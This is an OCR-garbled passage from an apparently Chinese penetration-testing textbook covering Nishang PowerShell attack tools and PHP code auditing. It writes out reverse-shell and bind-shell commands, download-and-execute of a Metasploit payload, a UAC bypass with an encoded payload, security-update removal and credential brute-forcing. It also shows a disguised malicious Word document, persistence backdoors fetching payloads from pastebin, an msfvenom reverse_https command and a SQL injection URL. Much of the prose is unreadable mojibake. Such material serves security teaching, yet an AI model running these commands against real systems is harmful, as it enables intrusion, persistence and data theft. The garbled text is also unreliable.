1. EF TCP #M¥HY PowerShell ZE I Shell
Invoke-PowerShell Tep e J& T TCP MM fIPowerShell IE i) 3% 82 8¢ 7] 3 2 Shell, %
B BAA S AN BT R .
*  [PAddress <String> #HiEFE-Reverseie il I R 7R 75 ZEERE I IPHIE
*  Port <Int32> #1E % -Reverse i Wi I R 7~ 77 BB R A o 1, %
-Bind e T i 273~ 75 2 W ) o 11
e  Reverse [<SwitchParameter>]  #/x [7]i&E#
®  Bind [<SwitchParameter>] #1E [
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(D) RIaESE

S FANCH T 4541333335 H (JER S AR, AIRTE BARHL_EPAT B AR 2
), TR,
nc -lvp 3333

R JEE B ¥rHlPowerShell T4\ LA T 74, 3 Shell$]192.168.12.110/#13333 % [

Invoke-PowerShellTcp -Reverse -IPAddress 192.168.12.110 -Port 3333

A LUE BRI, WE6-175 7R,

AT # nc -lvp 3333
listening on [any] 3333 ...
192.168.12.103: inverse host lookup failed: Unknown host

connect to [192.168.12.110] from (UNKNOWN) [192.168.12.103] 57656
Windows PowerShell running as user ?? on MY PC

Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\>whoami

my pc\??
PS C:\> ifconfig
my pc\??
PS C:\> ipconfig

Windows IP ??
E6-175 RMERE

(2) IEMEE:

7E H A-tLPowerShell F AT LA T I fir 4, MiWr3333% M.
Invoke-PowerShellTcp -Bind -Port 3333

ENCTHAT LA R4, 8 HARH1192.168.12.103/)3333% H .
nc -nv 192.168.12.103 3333

A AEBNERERT), $ATpsim Q@ BIATEB IR, WE6-176/7R .
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var/www/html# nc -nv . 108,
(UNKNOWN) [192.168.12.163] 3333 (?) open
Windows PowerShell running as user ?? on MY PC
opyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\>ps

Handles NPM(K) PM(K) ProcessName

155748 - 360Tray
3036 3596 ’ aaHMSvc

15936 41060 2 2 ApplicationFrameH
3656 5368 3 AsusFanControlSer

7432 3440 2 atkexComSvc

30540 30644 audiodg
E6-176 IEREIERE
B AT i 348 FH A [F1 %, AT i F R [l i 4 7 2 S22 24 H AR AE S TR AE A
W%, IR . 24 B AR7E N T IRIE SN e 15, PR A &R, nSREfE
G, AR X, PR T BT,
2. E7F UDP 1Y #Y PowerShell 2 B3 Shell
Invoke-PowerShellUdp & % T-UDP iy it/ PowerShell IF. ] 4% Bl = 7] % #<Shell.

X B A EEARR, BT 2 TUDPHMY, BrbhncHfr @A AR, Bk
IR, oA 5 VA AT S R AT =B .

Ef &R 4: nc -nvu 192.168.12.103 3333
I #EREH4: nc -lup 3333

SR #EFFIX AP —https://www.explainshell.com, EEE I MEHEEER
FiWindows N Linux ¥ 7E P (1945 Pl & et  Wn&l6-177F7R .
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explainsl)ell com
about €) " -p333 @

-ivp 3333

| 2 port 1ccal port nusber (pert nusbers can be individual or ranges: lo-hi [inclusive]) —

E6-177 MusEE

3. BETF HTTP 0 HTTPS Y& PowerShell 2 E 3 Shell

Invoke-PoshRatHttp Fl Invoke-PoshRatHttps #& 2 T HTTP ¥ 1 F1 HTTPS 1%
PowerShell % [7] % £ZShell. & T & T TCPHIUDP X ffIShell, Nishangif 37 ##3 FHTTP
AHTTPS Y HIShell, FEAHIAIA B ITVE—#E, BRI TR

HTTP: Invoke-PoshRatHttp -IPAddress 192.168.12.103 -Port 3333
HTTPS: Invoke-PoshRatHttps -IPAddress 192.168.12.103 -Port 3333

XE R EETHTTPH WA ARER, $BATmE6-178Fi =4,
192.168.12.103 A ML W 3333357 1, 24— "PowerShellfi 4 .

E6-178 HITHTTP#HS

WA A 4 I 2 BARHLCMDH T, MIIERLITSEENER, REELR
HlPowerShell T 43k [8] H #RHLIPA192.168.12.107(41%, $ATpstr & a2~ mTl,
E6-179F 71 -
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8¢ 12 0

E6-179 KRN
6.4.4 \WebShell 517

ZAE AT T \nishang\Antak-WebShell H 3 F, #t2&—MASPXH “ K57, {HH
PowerShell ) fir 4, LLCMD#r4 s KR %2, 2 AT LAE FiX 4N WebShell4 i Hi47
A, bAE. FEOCH, MERME6-180T78.

O O+ © nitpy/192168250.230:8080/antak.a5px 7
s UEx DEs Cremw Dxsis Dosus Usnast DUax@r Uxes Osene Cemsk OoRa® ORusn Omveo Glcks O
< Webshell X +

Parse web.config l Execute SQL Query MEnter Connection String here to Exacute SQL Queries

[#6-180 WebShell
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AR BT IR 8, A& WebShell & HI4#E FH 77 ¥ F i E PowerShel I3 AT &
H—F, BAERTFEOUERES X M 12, Hii “Upload the File” “Download” 1%

BT,
6.4.5 MNRIEFH
1. THEHHNT

Download_Executes& Nishang #1 i) T # AT AR, # T oA, REH
I AT PAT SCHPAT

{55 FH LA R i 4 7] B F Nishang 1] exetotext.ps 1 il 414 Metasploit 4= i ff) A T b
msf.exe 5 BUA A X msftxt.

PS C:Usersroot> ExetoText c: msf.exe c: msf.txt
Converted file written to c: msf.txt

SRIGHINLL T a4, HDownload Executeffl A N4 34T 1% 30 A S0
PS C:Usersroot> Download_Execute http://192.168.110.128/msf.txt

IX I #E Metasploit ) s Wy 3 3 AT DAR D3R 45 e o [ R B Shell,  4n&6-181 577w o

msf exploit( ) > run

[*] Started reverse TCP handler on 192.168.110.128:4444
Starting the payload handler...
Sending stage (1189423 bytes) to 192.168.110.131
Meterpreter session 3 opened (192.168.110.128:4444 -> 192.168.110.131:49172)

‘at 2016-10-27 04:56:08 -0400

meterpreter > pwd

E6-181 AR Shell

2. Bypass UAC

User Account Control (FH /= 4%l ) BTN =1 R 4 %2 2= 1 7£ Windows Vista
FEANRBEAR, BERM P ERIT R e v BT SR A P B i RAE
ZHT, RASURBE T R, @ X R EPAT RO H AT IRAE, ERAEV ]
FIEGL T, UACTHT LART 1E 8 B 8 A R0 (R U B AT H BN gk AT R e Bt v ALk AT
B
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fEWindows VistalA K E i RIRAS T, R GI8E T 22 HIRng, 2. H.
REAER. MERHRERAGEERANIR, TESERME N EAMH S BRUR,
(LR B AR AL R 32 SFh IR G,  FISRAMIETE RAZ 2 EHRS, EIRFRFFERD.

UACTRERMHIEFETE:

e Jit ® Windows Update.

o MEINBUMERE K.

o BERAPHIMKP A,

° HARUACKE.

o ActiveX.

o REBEHBERF.

o TREZIWENERF.

o WEFKE.

o RN E il BProgram Files8{ Windows H 3%

o EFHMAS KK,

UACHAMKEZENR, TR,

o IRZGER: XREEMBE, SRR, HEEFELARRAIAR,
R A .

o WNEBRFAEEIROITENNBEME: XRUACHEINKE. &
WindowsF2 7 248 F B R AU RES, A@RA . EHE=T7FERME
HRZABIRE, SRaAAF.

o (VERFRAEERRM T EN A EME (REREERRE) - 5E—%
WERMESRAMR, (ERRRHP AR RRE.

o MARIR: BAPARGEEARN, FHEEFHEURERIRET.

Invoke-PsUACme &R H] T 5k H UACMEXI H DLLK S UAC, fEHRSed
UAC, Nishang #145 4 (77 AF % 210, 51 7 B 5L UACHI 77, 1 E6-1825TR,
A] LA7EInvoke-PsUACmeH $5 & HH B[ 5 VAR AT
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27

DLL &7
CRYPTBASE.AII ¥
F windows 7
sheore.dll A F
Windows 8

wdscore.dll 3T
oobe C:\Windows\System32\oobe\ windows 7. & 10
10
ActionQueue.dil
actionqueue c:\Windows\System32\sysprep\ | 12{R33F Windows | C:\Windows\System32\sysprep\sysprep.exe
7

wdscore.dil 31 F
C:\Windows\System32\migwiz\ Windows 7 30 CAWindows\System32\migwiz\migwiz.exe
Windows 8
ntwdblib.dil 7F
Windows\System32\ Windows 7. 8 0 C:\Windows\System32\dliconfg.exe
10
C\Windows\System32\sysprep\Copy | ntwdblib.dll &35
winsat.exe from C:\ Wwindows 7
Windows\System32\ to devobj.dll A5
C:\Windows\System32\sysprep\ Windows 8. 10
ntwdblib.dil 3§ F
Windows 7
elsext.dil 3 F
Windows 8 40 10

sysprep C:\Windows\System32\sysprep\
Y

winsat

\Windows\System32\

E6-182 ZRIFUACHIAE

MAGET-HELPH 2 EEBEFHIEE, WHE6-183F/R.

Il

PS >Invoke-PsUACne -Uerho:

fhove comnand runs the sysprep nethod and the default payload.

PS >Mnuvoke-PsUACne -nethod oobe -Uerbose

Above command runs the oobe nethod and the default payload.

PS >Invoke-PsUACne ~method oobe -Payload “powershell -vwindowstyle hidden -e SQBuAHYAbhuBr ALQBFAHgACABYAGUAcWBZAGK
AbwBURCARIAACAEIRZGBIACBATLUBIRGANZAB ) BIAHQACcgBIAGEADGBSAGUAYQBKAGUACHAGACIAJAROAEINZGBIACBATUBIAGOAZ
BIAHQATABIAESALgBDAGEALQBUAHIAZGBZARMA aQBuAGEA Ly BE AAABIAFNAdABYAGUAYQBLACAAKARKACHATgR 1AHCALGBPAGI RagB 1A
GHAAARGAEKATUALREBAZQREAGERcgBSAFPHAJABYAGUAYQBLACARKAASACGAKABLAEMA buBuRHYAZABYAHQARQAEADOA RGBYAGBALRBCA:
NABTAHQARCyBPAGANZuAOACCAUABANEYAZABKADGASQBIREYASQBINHYAQYAURHMAUA BoRDKAS WBOAGYAT g BuFEANGENADYAMGBSADQALVBAAGT AQUE
JAEAADBABUAFgAIGBoAFgNZuBSADIANABOARQAC g BGAFgRe wBFAF T AUAAXANZ A GASAHARY yBIAGRAVGBEAHUASARSAGUARGATAGKAANBLAGHAQuUBHAG
HARGBYREGASABGANYAagB1RGEALLBHAEIASQBFAHGANGBIAHcASyBZAFOASQBIAGLR 2 QBIAFMANG BSAGHAVABQAHKACABYAHKAAGBAADRAY g BSADQAL
wB1AGsAOABDADCAZABLAENAONBKAGBAJIRBGAHAATGASANARAUAL AUGBHAHUAV g BIAHgAVGBCAGEAbuArAFUADABEAGHATQBIADUAT gALADARZBD
ADYAVLBAAGBANYG BgRE4AVABIAGUAAQBIAFQAc gB2RGAAY g BKADGAZy BUAHYAY g BGADINOABKAE0RaQBuAHKAWgBPAGI AYQBYAFEAZQBJ ANgBIAFT
ASUBRAFEAUABzAEIAcABTAGoAKWBNAEoNcwBRAFQASABuAFIARVBUAEKAT gBgA DKANQBaRGKAUgBRA aAArADcAduBIAGHADABIAHCANABPADUALRQ
BxAHIAUGBTAFoARABIAFARRABRACSASQBOAEI AUGB4AGERIQBUAHKAUGBIADGAGuEL n(.\'nRv;hxmmnumwayunmuunFQRMHDM WANQBAEoAYWA2A
HQAQQBFAEQAMQBEADIAAQENADEASABCADGANABIADIACA: PYANGBIAEIARVAZAGSASgBCAFGAaRBLAGYAdUBCAGCASABY AaQBUACIAZyBZAFIA
RgAvAE4ASgBzAGI ANuB2AGCAVABIADEACYBFAEKAZABQAHKAVQBOAGIADABIAGAAUWBIRGRAY g BN Allg] DeANGExAE0ALWBUAGYAUQBUANKACAR
rAHQAZuBrAGgAcOA=AEBAVGBKAHOANQBYAHOAMQBOAH TAUARSAEIAZABIACORT gArA DyRY QBUAGYADABKAEIANGBAAGBRegBrADMALYARAEL AJuAPAC
KAKQApACUR T ABBAEKATvAUREMAbUBLAHARCGBLAHMACUBPAGBAbgAUREMAbUBLAHARCgBIAHNACWBPAGEA by BNAGEAZABIAFBACYAGAEGAZABNGEAL
QBUNHIAZQBzAHMAKQA pRCWA T ABDAFQRAZQBIAHQALGBFAGAAY uBu RaQBUAGEAXQALADOAQQBTAENASQBIACKAKQAUAFIAZQBRAGRAUABUAEUAby]
ACHAKQAATARA ==

El6-183 TEHEER
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EAR R AT I K TR

PS > Invoke-PsUACme -Verbose ##{ ] Sysprep i3 ATERIAR Payload
PS > Invoke-PsUACme -method oobe -Verbose #ifiiff] oobe 773 ATERIANI Payload

PS > Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e Your
EncodedPayload"  #it{diH -Payload Z4(H] Ll H 1T 45 EHATHI Payload

BrUL LIS, & W] B A -PayloadPathZ #i 45 € —Payload#§1%2, 7EEIAEMLT,
Payload £ 7£ C:WindowsTempcemd.bat 45 3 . i 7 LA A -CustomDI164 (6447 ) &,
-CustomDLL32 (32fi) Z%H%E X —PDLLXA, d1E6-184577R

PayloadPath <String>
The path to the payload. The default one is C:\Windows\tenpcnd.bat. To change this, change the path in DLL as

well.

CustonD1164 <String)>
Path to a custom 64 bit DLL.

String>
ston 32 hit DLL.

E6-184 ®ESH

3. MBRANT

XA AT U B RN R ARG AN EHSRTE Z2EH, UREERTH
ST BAKTT LAIEE W E6-185Fr7m i i B o

BRI AT 7 A0 R B o

PS > Remove-Update All #HB EirLa LR RTE B
PS > Remove-Update Security #H B B AL LIETE 5 R e SR
PS > Remove-Update KB2761226 #HF TR 2 g K T
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PS >Remove-lipdate All

This removes all updates from the target.

PS >Remove-Update Security

This removes all security updates from the target.

PS >Remove-Update KB2761226

This removes KB2761226 from the target.

E6-185 RIA
TEMEFZHAZ A, SREFAVEIF T H0L, WE6-186FT.

C:\pagefile.sys
HorkGroup
—_*231?662AB‘1NY

E6-186 ZER4MNT

2R MR — AN T, %IAPS > Remove-Update KB2849697#7 4>, 7w B I R
TEHE—NHT, mEe6-1877r,
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I PO R PP AT IS Ly T L)
!PS C:\UsersMdninistrator> Remove-Update KB2849697
IRemoving 2849697 from the target.

iPS C:\lUsers\fidninistrator> systeminfo

PC-208178628YNYF

Microsoft Windouws ? RH

6.1.7681 Service Pack 1 Build 76061
Microsoft Corporation

Multiprocessor Free

PC

Microsoft
9B426-0EM-8992662-008886
2017/6,20, 11:108:44
2017/6,27, 92:16:28
PEGATRON CORPORATION
H118-M1

1 ©
[811: Intel64 Family 6 Model 94 Stepping 3 Genuinelntel ~278
fimerican Megatrends Inc. 8181, 2815,/8/24
C:\Windows
C:\Windows\systen32
\DeviceHarddiskUolumel

8,145 MB
3,715 MB
16,289 MB
18,947 MB

: 5,342 MB
C:\pagefile.sys
HorkGroup

[A11: KB2849696

E6-187 HITHIA

4. Hithhge
(1) ¥ HE+4 (Invoke-PortScan)

Invoke-PortScan &Nishang )3 H I A, ©HFEMEN. @ ENL. 5
Ha4, 2seiid—MESER A . % A\ Get-Help Invoke-PortScan-full B[l i] 2¥ 5 5
BIfE R, wE6-188fTR.
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-ResolveHost [<SwitchF
Resolve HostName

False
naned

alse

ScanPort [
Perform a Por

False
naned

-Ports <Int3:

That should be scanned, default va

.69.71,.88,98,118,139,111,
433.,2001,2049,3601,3128

b() 6868,7777,7878,8880.1521.3306,3389,

False
naned

false

~TimeOut <Int32>
Tine Cin MilliSeconds)> before TimeOut, Default set to 188

El6-188 EEMEER
BRAEKSHN AW TR

®  StartAddress HAE H YO B T 4 A b ki

*  EndAddress A 91 R 4 BRI M

e  ScanPort #HIEAT U D

e  Port #HE E PG O BRI - 21,22,23,53,69,71,

80,98,110,139,111, 389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,68
68,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901)

®  TimeOut H#A B R T s [E]
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fEF AR dr X A Rk AT 94, MRS ENIHET ENE, nE6-189
Ftzs o

Invoke-PortScan -StartAddress 192.168.250.1 -EndAddress 192.168.250.255 -ResolveHost

HPS C:\lUsers\snile-TT> Invoke-PortScan -Startfddress 192.168.250.1 ~EndAddress 192.168.250.255 -ResolueHost

Hosr“ane

I.lan

Z81Us8 an
Linux
GI0Q5¢ n

6

7

8 5

9 ! an
8

U]

8

192.168.256..23

El6-189 At EiE M
(2) BuEf# (Invoke-BruteForce)

Invoke-BruteForce /& Nishang 1 & VE T 8 I AR A, "M TXSQL Server. Ik
A4S . WebFTPSS A8k, HAEEFH XM, WE6-190F7xR.

P8 >Invoke-BruteForce ~ComputerName SQLSeruBl -UserlList C:intest wusers.txt -Passwordlist C:\test wordlist.txt ~Servi

ce SQL ~Uerbose

Brute force erver SQLServ@l for us listed in users.txt and passwords in wordlist.txt

PS >Invoke-BruteForce -ConputerName targe 3 .c thusers.txt -Passwordlist C:\test\wordlist.txt

Service ActiveDirectory —~StopOnSuc

Brute force a Domai ontroller of t domain.con fo i d i xt a asguords in wordlist.txt.
Since StopOnSucce pecified, the e forcing s -

servers.txt ! Invoke-BruteForce -UserList C:\testusers.txt -Passwordlist C:\test wordlist.txt —Ser

E6-190 #HENRHA
SO A AT 77 30 R R
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PS > Invoke-BruteForce -ComputerName targetdomain.com -UserlList C:testusers.txt -
PasswordList C:testwordlist.txt -Service ActiveDirectory -StopOnSuccess -Verbose

HHIRATE I 25

PS > Invoke-BruteForce -ComputerName SQLServel -UserList C:testusers.txt -Passwor

dList C:testwordlist.txt -Service SQL -Verbose

## SQL Server

PS > cat C:testservers.txt | Invoke-BruteForce -UserList C:testusers.txt -Passwor
dList C:testwordlist.txt -Service SQL -Verbose ##&H server.txt Ffif servers ]

SQL Server

HIARSHAN BT PR,

*  ComputerName #0T AR S5 (T LA
e  UserList #HH P 2T
e  PasswordList #HE D

e Service/lr% (BRIAHSQL)
e StopOnSuccess
*  Delay HHZEIR I [A]

(3) MR

#HILEE— N e 1k

P R RAR B P 7 VA L T B, (R BIRR K, FESEAEBOIMERII R, FTLASE

R—T.
EH AL EPAT L a4, WE6-191Fw.

Invoke-Interceptor -ProxyServer 192.168.250.172

-ProxyPort 9999

g Proxy Server 192.168.258.172 :
ening on 8681

3128

EBRIPRITRS
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PAT LU T iy A B Al ZE AN LA Wr999935m 11, & 6-192f75 .

netcat -lvvp 9999

:~# netcat -lvvp 3128
listening on [any] 3128 ...
connect to [192.168.250.172] from smile TT.lan [192.168.250.66] 63247
POST http://site.browser.360.cn/index.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----------~-“-c-cocuoooo. 7ddcad59
1fd79
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/50.0.2661.102 Safari/537.36 QIHU 360EE Intercepted Traffic
Accept-Encoding:
Accept-Language: zh-CN,zh;q=0.8
Cookie: guid=137231670.1246770321162578400.1498449846775.7551

7ddcad5951fd79: ,

Content-Disposition: form-data; name="rn", form-data; name="sitedata"
377559:
6815060c071702010f1b070c0319050702165a5953504d17435f471768:
Host: site.browser.360.cn
Content-Length: 254
Expect: 160-continue
Proxy-Connection: Close

E6-192 A#AITEO
(4) FEFEHIH

Show-TargetScreen il 4 {# FI MIPEG f£ % B A A/1z8 2 5% [ ¥ SC B I T/,  7EASHL AT
DA FANCEL #Z PowerCati#f 1T W5 W o 7EAHL(SE F SZ REMIPEGHI M Wa 4% (UNFirefox) Vj
] A BT B M W o 1, BIAT R 3 Y 2% 75 380 Az v 4 i [0 SR B SERS BN TR, 1F [0 S [+)
53] I8

AT

PS > Show-TargetScreen -Reverse -IPAddress 192.168.230.1 -Port 443 #fEFfEN
M f%%%] 192.168.230.1 ] 443 ¥ij [

BRI EN B TR,
e IPAddress #JGE T INIPHbE (B [ B T )

* Port #HIN R
e Bind #4#1F ] B

& B ARHL 3 BUF i 2 3 AT LA [ B 5 B 4%
Show-TargetScreen -Reverse -IPAddress 192.168.250.172 -Port 3333

BEEABALL N4, ZJEVHIRANLRI9999% 1, #tal LA EE] B Fr15#
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BT, WE6-193f 7R

netcat -nlvp 3333 | netcat -nlvp 9999

/& (JPEG Image, 1024 x .. x "-\3-”m

€ 0roo1ew [ x|[Qserch __ [ErlE S

{23 Most Visitedv Jll Offensive Security “\ Kali Linux "& Kali Docs “§ Kali Tools KBExploit-DB Wy Aircrack-ng

8w w ol L - R

Tranrfardnn dA=ts fram 177001

E6-193 HREFIER
ERERGBURRNITES RAKNZERMR, FSuT.

H¥FrHl#4T: Show-TargetScreen -Bind -Port 3333.
AHHAT: netcat -nv 192.168.250.37 3333 | netcat -lnvp 9999.

fr A PAT e B JE RIRET [ AL H99999% 1, AT LAGIE HARNLI % T .
5 £mAS

Nishang i A & Fh A, S0 BURGL & Fp 30, WHTA. Word, FHFHAT
PowerShellfii4s, 7] L#AR BA G A shBd, AR A KRB mE6-194F7 7R
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& Out-CHM.ps1
[ Out-Excel.ps1
| Out-HTA.ps1
|& Out-Java.ps1
| Out-JS.pst
[i84 Out-SCF.ps1
| Out-SCT.ps1

[# Out-Shorteut.ps1
[ Out-WebQuery.ps1
|® Out-Word.ps1

2017/6/26 19:16 Windows Power... 20 KB
2017/6/26 19:16 Windows Power... 15 KB
2017/6/26 19:16 Windows Power... 6 KB
2017/6/26 19:16 Windows Power... 8 KB
2017/6/26 19:16 Windows Power... 3KB
2017/6/26 19:16  Windows Power... 2KB
2017/6/26 19:16 Windows Power... 4 KB
2017/6/26 19:16  Windows Power... 4K8B
2017/6/26 19:16 Windows Power... 3KB
2017/6/26 19:16 Windows Power... 15 KB

El6-194 EHEEARDAR
BAMA R EEAMER, X8 UERZ BRI Word A H.

BRSBTS,

Payload
PayloadURL

PayloadScript

Arguments
OutputFile
WordFileDir
Recurse

RemoveDocx

##J5 T B #MPayload, THEEESISHHAE
#HfE NIZFE I Payloadi#t 17 4 B

HFE S ZA Hh FF) B A R AT 26 B

#HZ R EHAT RS (152 Payload S 1) 26 %)
H H S 4

HH H B E S dh ik

##7E WordFileDir 3% /3 F £ Word U4
#0152 B IR SR 4 S

BB L T4, 7EAH T 444455 O

Nc -1lvp 4444

B H{EWord U, #TFFnishang\Shells\Invoke-PowerShell TepOneLine.ps 13X 4N 3
f, BHRIE=ZATHRNE, ATUERFEAE — MopClientfI S 4L, X Bl &imfEiEEm

Hibk T, wE6-195FT7.

5
i

“uent and change the hardcoded IP adaress auu ,---
$Sclient = New-Object System.Net.Sockets.ICPClienr (™1

#Sam= (New-Object Net.Sc

n“,‘iﬁ.'.:.lxc\",-]!!il;‘liznm — Sclient.GetStream(): {byte[]]$bytes = 0,.6553%

............. S351%({0) ;while ((S1=Sam.Read ($bt, 0, Sbyf

ove all help comments as well.

El6-195 EZETIBERAMIE
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IX B XA MR RN O SR AL B IPFIAR s T B 11, 2052 LA B AR,
EMAIT FTRAU T4, WE6-196F77~.

Invoke-Encode -DataToEncode 'Hfilfff{f%"' -IsString -PostScript

E6-196 HMITEL
PATERZ EESELATHR FERBE N, — A Zencoded.txt, H— &
encodedcommand.txt.

$3 11T Out-Word -PayloadScript .\encodedcommand. txtfy 4> »

SRJE RIS I T &4 R — A4 NSalary Detailsfidoc 304 B b /T Word
PAJGE, &K #Shell, 7E/8AZERITHEN EEEEMER, RERZRITEI2E R
FZZ MR . SREUR 3 B PowerShell f5 7] AR 2 5 1 7t 2% | Metasploit [ Meterpreter,
I 6-197F 7 .

Salery Detasis.doc FRRNET] - Microsoh Woed
e A NEs® IE se wR S8 FRIR 240 A0 BEY &M D W - & O 00 D E

| -E9 AN A BRE EEew Re ) ¢ [[Dreex
j'-;nq.;_.e v.A-AQ@ EBEEE = O

i " d

E6-197 RN

6. &7
(1) HTTP-Backdoor
HTTP-Backdoor ] PA#E BhEAT7E H ArALES b T E AP ATPowerShell A , sk
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HEE =M fie 4, REENFFPAITPowerShell A<, HAEVEWI TR,

TTP-Backdoor -CheckURL http://pastebin.com/raw.php?i=jqP2vI3x -PayloadURL
http://pastebin.com/raw.php?i=Zhyf8rwh -MagicString startl123 -StopString stopthis

BARMSHN BT Fis.

®  CheckURL #es H—NURLMIE, @SR AE7E, MagicString H B 34
fTPayload>k T#. ZATERATMIBHIA

°  PayloadURL  ##%5 7% T £k I PowerShellfH 4< ¥ o 1k

*  Arguments #H#1E € BEWAT IR L

®  StopString ##H W & 75 /7 £ CheckURLIR Bl = FF £, SR A7 ZE 4% 1k
AT

(2) Add-ScrnSaveBackdoor

XA AT CAFE BhERA 1 F Windows [ BE R B T — MR E 1T, HIUTH
WRFR.

PS >Add-ScrnSaveBackdoor -Payload "powershell.exe -ExecutionPolicy Bypass -noprof
ile -noexit -c Get-Process" #HHYE A IX SRAE AT DABAT FAT 142 ALY Pay Lload

PS >Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psml -Argum
ents HTTP-Backdoor

http://pastebin.com/raw.php?i=jqP2vI3x http://pastebin.com/raw.php?i=Zhyf8rwh sta
rt123 stopthis ##71 FH X % i 4 7] LLZE PowerShell i fT—1
HTTP-Backdoor

PS >Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/code_exec.psl

7] PL{# F msfvenom 4% 4 B, — /> PowerShell , 2R J5 Fl| FH LA F iy £ iR [B] — A4
Meterpreter.

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.254.226 -f powers
hell

BAESHEN BN TR,
e  PayloadURL HiHE E T BT B A
*  Arguments #iHE & BEHAT B BR B DL AH RS 4
(3) Execute-OnTime
Execute-OnTime 7] LA7E H #5 #/l L $5 & PowerShell il A f) $447 i 8], S HTTP —
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P WebEAH B HEMNKERIES

Backdoor {1 77 iEME L, RAEZ TR HIZhEE, HAATHEW TR,

PS > Execute-OnTime -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments
Get-Information -Time hh:mm -CheckURL http://pastebin.com/raw.php?i=zZhyf8rwh -St
opString stoppayload

BARMSHN BT FR.

®  PayloadURL  ##¥5 & HIA T &1t

®  Arguments #iHR T8 AT I R E A4

e Time #HBLE AAT BT 18] (5140 -Time 23:21)

®  CheckURL o R Il — /M 8 IJURL P9 25 B 2 75 7775 StopString 25 Hi )

FREE, WREI T HE BT

(4) Invoke-ADSBackdoor

XA AL FANTFSEHRE I B T — N KA 7o X PR 771 mT DA SR i,
HAXFEE TRETTLTERKAR, AR HEN.

XANEAT] LA ADS R ANARES I B LA @ - FIRURIZAT » A BT dr 4B
APATIZIAS, A El6-198 7R .

PS >Invoke-ADSBackdoor -PayloadURL http://192.168.12.110/test.psl

PS C:\> Invoke-ADSBackdoor -PayloadURL http://192.168.12.118/test.psl

: Microsoft.PoverShell.Core\Ri HKEY _CURRENT _USER\Sof tware\Hicrosoft\Windous\Curren rsion\Run
rosoft . PoverShell.Core\R :HKEY _CURRENT _USER\Sof tuare\Microsof t \Windows \Curren

11.Core\Registry
\AppData:ygykuS2ilah.ubs

Process Conmplete B e ated at HKCU:\Software\Microsoft\Windows \CurrentUersion\Run\Update
E6-198 HMITRIIMAE

PATZMAZ G, R BARHP FEIRRAENSREMEFARA, FHH2di /a
A RE BB, WE6-199F77 .
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% C:\Usersssmile\fAppData
|
';ZUI ?/86,27 22:37 {DIR>

!

2017,86 /2 =
817/06.,88 ‘ Local
i2017,85/31 LocalLow
12017/06/18 16:25
| )

L
5

|
|
|
|
|

El6-199 EEHBAKIXH

NishangiX 7 # T PowerShell {72 E MR E H T RER T I £ HELHBASHE
m, FERMNEBEMNANIEREH. RE, £ SHE TRk E MNEIIT
PowerShell, {E BT & X LA it BARRRD, FRATH AT DL E 2252 BAA R AL

— B TR,



B T7E SLHIST

7.1 REGEITSLE 4T

Xt W HEAT IS EMARET, AR AR I b (8 AR FR R TTIRAICMS, U 5 —
M ERRZCMSC LA TR, )5 =6 A AT R BET .
HTCMSEIFIR, FreAv DLRRIES T 85, BT ARME i, FREG K %4
i, ABGESLIRIIEY, HEILFE L 22T

REGHE T TEE B WE R R, BIGRIPS. Fortify SCA. SeayJRid & it
T H. FindBugs®. X T HtI i REA e ER R B0, ELhRrN
mHitdEs, TREREZHE, FEENENNRKARERLG BRI LR,
SR, FIRARF BRI .

AL A, # FAYIDEZPHPSTORM + Xdebug, @it At BIDE, LA
KPHPRES, J7{E T CMSHIRANZITREE.
7.1.1  SQLENIRE

FTFFCMSYEHS FJmodel.php XA (model M — R AERMESRIRE FERI L), SR
bR ${GETInfoWhere () 25 & $strWhere B Hf #: Bl selectif A, @A EMILIE, 1R
a0 R s o

public function getInfoWhere($strWhere=null,$field = "*',$table=""){
try {
$table = $table?$table:$this->tablenamel;
$strSQL = "SELECT $field FROM $table $strWhere";
$rs = $this->db->query($strsqQL);
$arrData = $rs->fetchall(PDO: :FETCH_ASSOC);
if(!empty($arrData[@]['structon_tb'])) $arrData =
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$this->loadTableFieldG($arrData);
if($this->arrGPdoDB[ 'PDO_DEBUG']) echo $strSQL.'<br><br>';
return current($arrData);
} catch (PDOException $e) {
echo 'Failed: ' . $e->getMessage().'<br><br>";

}

U F AT DLgs il A i SstrWhere [RI{E,  5EA P REAFEESQLIE NG IR . FEVRAS &R
B % getInfoWhere() 1 3 A &5, & Bll/include/detail.inc.php il i T 1% BEi £ . 7% & $obj
Weblnit #& ¥ 46 46 B0 88 FE XF %, SR 5 % $_GET['name'] $f 2 45 SarrWhere , & 5 ¥
$strwherei® &) A Bl getinfoWhere R £, RIGWI AR,

$objWebInit = new archives();
$objWebInit->db();

$arrWhere = array();

$arrWhere[] = "type_title_english = '".$_GET['name'].""'";
$striwhere = implode(' AND ', $arrWhere);

$striwhere = 'where '.$strWhere;

$arrinfo = $objWebInit->getInfoWhere($striwhere);

if(lempty($arrInfo[ ‘meta_Title'])) $strTitle = $arrInfo[ '‘meta_Title'];

else $strTitle = $arrInfo[ 'module_name'];

if(lempty($arrInfo[ 'meta_Description'])) $strDescription =

$arrInfo[ 'meta_Description'];

else $strDescription = $strTitle.','.$arrInfo[ 'module_name'];
if(!empty($arrInfo[ '‘meta_Keywords'])) $strKeywords = $arrInfo[ 'meta_Keywords'];
else $strKeywords = $arrInfo[ 'module_name'];

ATAES], Z¥name \NIREUHBIBHREABIEEF, BHETEMELIE, B
R A 2R ISR EE A Z a5, M ESQLIENIE .

T $:97 [F http://127.0.0.1/include/detail.inc.php?name=11f, F&F 4L, WK 7-1
Fi7R.

&« = C @ Q 127.00.1/include/detailinc.phpname=1

Warning: require_once{config/config.inc.php): failed to open stream: No such file or directory in an |

Fatal error: require_once(): Failed opening required ‘config/config.inc.php’ (include_path=";C:\php\pear) in s ————a

E7-1 AT gEEEE
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FE YRS 48 Z detail.inc.php A F 5, K Bl/detail. phpH i it require_once() EL K
ZXHE AR,
<?php

require_once('include/detail.inc.php’);
2

717 127.0.0.1/detail.php?name=11111" union select 1,user(),3,4%230}, 27 EHEWK
user(I 45 SR [E 2] T 0UMH, anE7-28 7R,

